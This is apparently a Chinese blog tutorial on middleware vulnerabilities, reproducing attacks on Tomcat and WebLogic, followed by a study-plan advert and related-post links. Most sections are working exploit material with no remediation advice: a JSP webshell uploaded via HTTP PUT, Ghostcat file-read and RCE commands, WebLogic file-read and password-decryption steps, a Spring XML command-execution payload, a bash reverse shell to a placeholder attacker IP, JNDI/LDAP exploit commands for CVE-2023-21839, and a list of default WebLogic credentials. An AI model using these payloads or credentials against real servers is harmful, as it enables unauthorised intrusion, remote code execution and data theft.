中间件常见漏洞总结（非常详细），零基础入门到精通，看这一篇就够了

最新推荐文章于 2025-06-06 12:33:09 发布
最新推荐文章于 2025-06-06 12:33:09 发布
阅读量1.2k 收藏 18
点赞数 18
CC 4.0 BY-SA版权
文章标签： 中间件 黑客技术 网络安全 web安全 安全 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/hackeroink/article/details/145496435

1、Tomcat

弱口令导致war远程部署getshell

影响版本：无

漏洞复现：通过弱口令登录，使用哥斯拉生成一个木马，上传getshell。

图片

点【取消】按钮，跳转至如下页面

图片

根据页面提示信息，在tomcat目录下，找到conf文件夹，然后找到tomcat-users.xml文件。

如图红色框里的几行代码，红框1里的是用户在安装tomcat时设置的密码，如果用户在安装时未设定密码则如红框2里的显示。username是账户，password是密码。

图片

使用哥斯拉声生成木马

图片

得到ws.jsp木马文件，将ws.jsp 压缩ws.zip,在一次压缩ws.war后，进行上传

图片

访问是否上传成功

/ws解压后得到ws.jsp ，所以访问ws/ws.jsp

哥斯拉链接成功

图片

文件包含漏洞(CVE-2020-1938)

漏洞描述： 默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响（tomcat默认将AJP服务开启并绑定至0.0.0.0/0）.

影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

前提条件：

对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009

漏洞原理

Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell

漏洞危害：

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件（上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等），然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害

漏洞复现

1、下载链接：https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

2、安装JDK，并配置环境

3、启动tomcat，点击tomcat目录/bin 文件夹下的startup.bat

图片

任意文件读取

可以读取webapps目录下的任何文件

 python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

图片

任意文件包含

1、首先得上传一个要包含的文件内容，并将文件上传到webapps目录

test.txt

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

2、访问该文件内容test.txt

图片

3、输入命令，执行命令

python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

图片

文件上传漏洞(CVE-2017-12615)

漏洞原理

当 Tomcat 运行在 Windows 主机上，启用了 HTTP PUT 请求方法，可以通过构造请求向服务器上传包含任意代码的 JSP 文件，导致 JSP 文件中的代码能够被服务器执行

影响范围：

Tomcat 7.0.0 - 7.0.81

漏洞描述：Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因：在这个Dockerfile文件中，通过修改web.xml文件来添加一个名为readonly的参数，其值为false

漏洞复现：

靶场搭建可以直接使用vulhub

可以看到readonly值为false

图片

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%
    java.io.InputStream is = Runtime.getRuntime()
                            .exec(request.getParameter("command"))
                            .getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = is.read(b)) != -1) {
        out.print(new String(b));
    }
%>

图片

访问，即可执行任意命令

图片

2、Weblogic

任意文件读取漏洞

**漏洞原理：**路径下存在任意文件读取： /hello/file.jsp?path=/etc/passwd

影响范围：

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞复现

通过/etc/passwd读取用户信息

http://xxx:7001/hello/file.jsp?path=/etc/passwd

图片

1、读取密文文件

读取配置文件拿到加密密钥:

/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

图片

2、读取加密后的密码

使用burp抓包后，并将密码存储为.dat文件

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

图片

将读取的文件内容生成文件

3、解密

https://github.com/TideSec/Decrypt_Weblogic_Password

图片

远程命令执行漏洞

CVE-2020-14882: 代码执行漏洞

远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console，并在 WebLogic Server Console 执行任意代码。 CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console

漏洞原理

CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

影响范围

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

漏洞复现

构造xml文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

访问.xml文件，会在tmp生成success文件

图片

同理：修改 .xml文件中<![CDATA[bash-i >& /dev/tcp/攻击机IP/4444 0>&1]>即可反弹shell

未授权远程代码执行漏洞(CVE-2023-21839)

漏洞原理

WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响范围：

12.2.1.2.0
12.2.1.1.0
12.2.1.3.0
12.2.1.0.0
12.2.1.4.0
14.1.1.0.0
12.1.2.0.0
12.1.3.0.0
10.3.6.0

FOFA

app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"

Vulfocus 已经集成该漏洞环境可通过以下环境使用：

docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.2.0-jdk-release  
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.1.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.3.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.4.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:14.1.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.2.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.3.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:10.3.6.0-jdk-release

漏洞环境： 利用vulhub

漏洞复现：

下载https://github.com/WhiteHSBG/JNDIExploit

1、搭建ldap服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali的ip

图片

2、kali 开启NC

nc -lvvp 9999

3、下载EXP

https://github.com/DXask88MA/Weblogic-CVE-2023-21839

执行命令

java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口

4、成功反弹shell，监听成功

图片

Weblogic常用弱口令

可以去测试一下是否能登录上

weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security  
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic

零基础网络安全学习计划

学习路线图大纲总览


我一共划分了六个阶段，但并不是说你得学完全部才能上手工作，对于一些初级岗位，学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包，需要的小伙伴文末免费领取哦，无偿分享！！！

【一一帮助网络安全学习，以下所有资源文末免费领取一一】
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

在这里插入图片描述

接下来我将给各位同学划分一张学习计划表！

学习计划

那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：

阶段一：初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）

2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）

4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）


那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？

阶段二：中级or高级网络安全工程师（看自己能力）

综合薪资区间15k~30k

7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。

零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；

Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三：顶级网络安全工程师

这部分内容对于咱们零基础的同学来说还太过遥远了，由于篇幅问题就不展开细说了，我给大家贴一个学习路线。感兴趣的童鞋可以自行研究一下哦，当然你也可以点击这里加我与我一起互相探讨、交流、咨询哦。

资料领取

上述这份完整版的网络安全学习资料已经上传网盘，朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取
在这里插入图片描述

Python Flask框架核心特性剖析
Python编程之道的博客
04-22 647
本文旨在全面深入地剖析Python Flask框架的核心特性，帮助开发者更好地理解和掌握Flask框架的使用。范围涵盖Flask框架的基本概念、核心算法原理、实际应用案例以及相关的工具和资源推荐等方面。通过对这些内容的详细阐述，使读者能够系统地了解Flask框架，并能够运用其进行高效的Web开发。背景介绍：介绍本文的目的、预期读者和文档结构概述，并给出相关的术语表。核心概念与联系：详细阐述Flask框架的核心概念，包括请求、响应、路由等，并通过文本示意图和Mermaid流程图展示它们之间的联系。
渗透测试之中间件解析漏
weixin_45380284的博客
03-06 794
中间件解析漏 （一）IIS5.x-6.x解析漏洞 使用iis5.x-6.x版本的服务器，大多为windows server 2003，网站比较古老，开发语句一般为asp；该解析漏洞也只能解析asp文件，而不能解析aspx文件。 目录解析(6.0) 形式：www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把.asp，.asa目录下的文件都解析成asp文件。 文件解析 形式：www.xxx.com/xx.asp;.jpg 原理：服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被
Web中间件安全漏洞与防范策略大全（免费获取）
最新发布
weixin_42234168的博客
06-06 741
随着互联网技术的快速发展和Web应用的广泛普及，Web中间件安全问题也日益凸显。Web中间件，如Web服务器、应用服务器等，为Web应用提供了运行平台，其安全直接关系到整个Web应用系统的安全。中间件安全不仅涉及系统配置、代码实现等技术层面，还涉及组织管理、流程规范等非技术层面。本章节将从基础概念出发，对Web中间件安全进行简要的概述，并引出后文将详细介绍的安全攻防技术。我们将讨论中间件面临的安全威胁和攻击，以及如何通过优化配置、强化代码、定期更新和应用安全最佳实践来提升整体安全性。
中间件漏洞总结
shayebudon的博客
04-02 1万+
一、IIS 1.iis6.0解析漏洞 该版本默认将*.asp;.jpg此类格式的文件名，当成asp解析，服务器默认；后面的内容不解析，相当于截断，例如上传asp木马，就可以用xx.asp;.jpg来绕过；iis除了会将asp解析成脚本执行文件之外，还会将 cer cdx asa扩展名解析成asp 防御方法： 1.禁止上传和创建此类畸形文件 2.图片存放目录设置为禁止脚本执行 2.iis6 PUT漏洞 IIS Server在web中开启了webDAV 配置了可以写入的权限，造成了任意文件上传。 防御方法： 1
中间件漏洞汇总
LainWith的博客
11-26 1万+
目录一些地址什么是中间件iis6x篇PUT漏洞漏洞描述漏洞复现防御方式解析漏洞-基于文件名原理复现防御解析漏洞-基于文件夹原理复现防御IIS短文件漏洞介绍原理复现防御RCE-CVE-2017-7269介绍影响范围复现防御iis7x篇文件解析漏洞原理复现防御HTTP.SYS远程代码执行(MS15-034)介绍影响范围影响版本复现修复建议apache篇未知扩展名解析漏洞漏洞原理复现修复建议AddHandler导致的解析漏洞原理复现修复建议目录遍历漏洞原理复现防御Apache HTTPD 换行解析漏洞（CVE-2
常见中间件漏洞的总结
qq_40898302的博客
06-07 9465
常见中间件漏洞总结
网络安全从入门到精通（特别篇I）：Linux安全事件应急响应之Linux应急响应基础必备技能
HACKONE的博客
04-10 1140
awk 首先将每条日志中的IP抓出来，如日志格式被自定义过，可以 -F 定义分隔符和 print指定列；
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信（一）
热门推荐
杨秀璋的专栏
09-29 2万+
这是作者的系列网络安全自学教程，主要是关于网安工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。前文分享了Wireshark抓包原理知识，并结合NetworkMiner工具抓取了图像资源和用户名密码，本文将讲解Python网络攻防相关基础知识，包括正则表达式、Web编程和套接字通信。本文参考了爱春秋ADO老师的课程内容，这里也推荐大家观看他Bilibili和ichunqiu的课程，同时也结合了作者之前的经验进行讲解。
2021web安全最全学习路线，从入门到入职（含书籍、工具包）
weixin_54787877的博客
03-13 9555
本次写的是一篇如何通过针对性系统学习Web安全或者说如何能成为一名渗透测试人员（有疑问或者错误的地方还望大家多多指正）。 相信大家每学习一样东西的时候都是存在一种很迷茫的心态（包括我自己），上网找视频找文章找资料学习得零零散散，最后还是浪费时间只得到一身三脚猫功夫。只有成体系的去学习、让自己的知识由点变成面，这样才能变得更强（文末附上书籍和工具包，希望大家查漏补缺，强中强）！ Web 安全 主要包括 HTTP 协议、注入漏洞、XSS 漏洞、SSRF 漏洞、CSRF 漏洞、文件处理漏洞、访问控制漏洞、会
2015-5-10分享的PDF
qq2011705918的专栏
05-10 2067
iOS传感器应用开发最佳实践_PDF电子书下载 带书签目录 完整版http://pan.baidu.com/s/1dDtSP2L   Node应用程序构建  使用MongoDB和Backbone_PDF电子书下载 带书签目录 完整版 http://pan.baidu.com/s/1c04KnNM   PhoneGap移动应用开发手册_PDF电子书下载 带书签目录 完整版 http://pan.
常见中间件漏洞总结PPT
01-25
常见中间件漏洞总结PPT，内含tomcat、weblogic、Nginx、iis、jboss等的常见漏洞和介绍，培训学习均可用。
Web中间件常见漏洞总结.pdf
06-14
Web中间件常见漏洞总结
中间件漏洞详解
06-11
本课程分别从iis5.x/6、iis7、apache三个中间件漏洞进行分析，首先从原理上介绍形成该漏洞的原因，而后通过实战的形式演示怎么利用这三种漏洞对服务器进行攻击。
常见的中间件漏洞
weixin_52501704的博客
12-09 5989
常见的中间件漏洞
中间件解析漏洞
kknifek的博客
09-05 2131
⼀：IIS解析漏洞⼀：IIS解析漏洞1.1：IIS6.X在iis6.x中，.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件 ，在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码2.在外部浏览器中访问windows2003的iis⽹站中的2.jpg 发现asp代码被执行3.将2.jpg⽂件放到⽹站根⽬录下访问，发现其中的asp代码没有被解析。由此可⻅.asp⽂件夹中的任意⽂件会被当做asp⽂件去执⾏.
常见中间件漏洞大全及其修复方法--看这一篇就够！！
C233333235的博客
08-06 2196
tomcat是一个开源而且免费的jsp服务器，默认端口: 8080，属于轻量级应用服务器。它可以实现 JavaWeb程序的装载，是配置JSP）和JAVA系统必备的一款环境。1.1Tomcat put方法任意文件写入漏洞当Tomcat运行在Windows操作系统时，且启用了HTTP PUT请求方法（例如，将readonly初始化参数由默认值设置为false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP文件，JSP。
中间件漏洞
haoge1998的博客
04-23 4416
中间件漏洞 概述 中间件：中间件是提供系统软件和应用软件之间连接的软件，以便软件各部分之间的沟通。 常见的中间件 iis apache tomcat nginx jboss weblogic websphere IIS漏洞 一、PUT上传漏洞 1、漏洞描述 IIS在web扩展中开启了webdav，配置了可以写入的权限。 版本：IIS6.0 2、漏洞复现 在网页目录中使用OPTIONS提交方式，判断是否看可以使用PUT和MOVE方式进行提交请求 （1）使用burp任意抓取报文 （2）修改请求头为OPTIO
IIS中间件漏洞分析及修复策略
"这篇文档是关于Web中间件常见漏洞的总结，主要针对微软的IIS (Internet Information Services)。文档详细介绍了IIS6.x和IIS7.x版本中的解析漏洞、上传安全问题以及修复建议。" 在Web开发中，中间件扮演着至关重要...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值